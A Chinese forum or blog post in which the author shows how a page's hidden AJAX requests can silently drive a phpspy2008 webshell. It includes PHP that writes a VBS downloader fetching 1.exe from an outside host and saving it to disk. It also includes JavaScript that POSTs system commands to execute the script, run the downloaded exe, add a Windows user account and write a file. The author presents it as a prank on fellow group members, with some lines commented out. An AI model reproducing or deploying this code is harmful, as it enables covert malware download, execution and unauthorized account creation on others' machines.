注册
登录
| 关键词： nbsp 代码 一个 vbs you love exe 注释 CreateObject 脚本 |
本来想给小黑群里的人开个玩笑。谁知道经过小黑的csrf实例后，大家都先看代码了。这下我明白了。小黑用过的招数都不能再用了。再用就不灵了。因为小黑太黑，让人印象深刻。 还是记录一下吧，ajax真的是隐秘性很高。我是这样来利用的。比较彻底。 PHP代码elseif ($doing == 'writevbs') { $fp = @fopen('c:/angel.vbs','w'); $vbs = "Set love = CreateObject(\"Microsoft.XMLHTTP\")\n". "love.Open \"GET\",\"http://www.4ngel.net/1.exe\",0\n". "love.Send()\n". "Set you = CreateObject(\"ADODB.Stream\")\n". "you.Mode = 3\n". "you.Type = 1\n". "you.Open()\n". "you.Write(love.responseBody)\n". "you.SaveToFile \"c:\\1.exe\",2"; @fwrite($fp,$vbs); @fclose($fp); } 加了一段代码是生成一个VBS脚本。这段脚本的作用从4ngel.net上下载一个1.exe文件保存到他本地的1.exe，然后有一段是AJAX的功能代码。 JavaScript代码<script type="text/javascript"> var http_request = false; function makeRequest(url, httpType, sendData) { http_request = false; if (!httpType) httpType = "GET"; if (window.XMLHttpRequest) { // Non-IE... http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { http_request.overrideMimeType('text/plain'); } } else if (window.ActiveXObject) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { alert('Cannot send an XMLHTTP request'); return false; } http_request.open(httpType, url, true); http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); http_request.send(sendData); } //makeRequest('<?=$self?>', 'POST', 'action=file&doing=writevbs'); //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\angel.vbs'); //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\1.exe'); makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=net user angel angel /add'); makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=echo my_name_is_angel > c:\\angel.txt'); </script> 最后几句是以POST方式请求本地测试环境中的phpspy2008，调用命令执行功能，生成vbs，然后执行VBS。再执行下载的exe文件。不过我已经注释掉了。这样在本地测试是成功的。对待自己兄弟们不能这么心狠。所以就注释掉了。加了一个用户。 我只是想说。AJAX作为一个现在逐渐受到重视的技术，在强调增加用户体验的同时，带来的安全也是神不知鬼不觉的。因为他的请求。你根本察觉不到。更具体的应用还是要靠大家自己去领悟了。 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
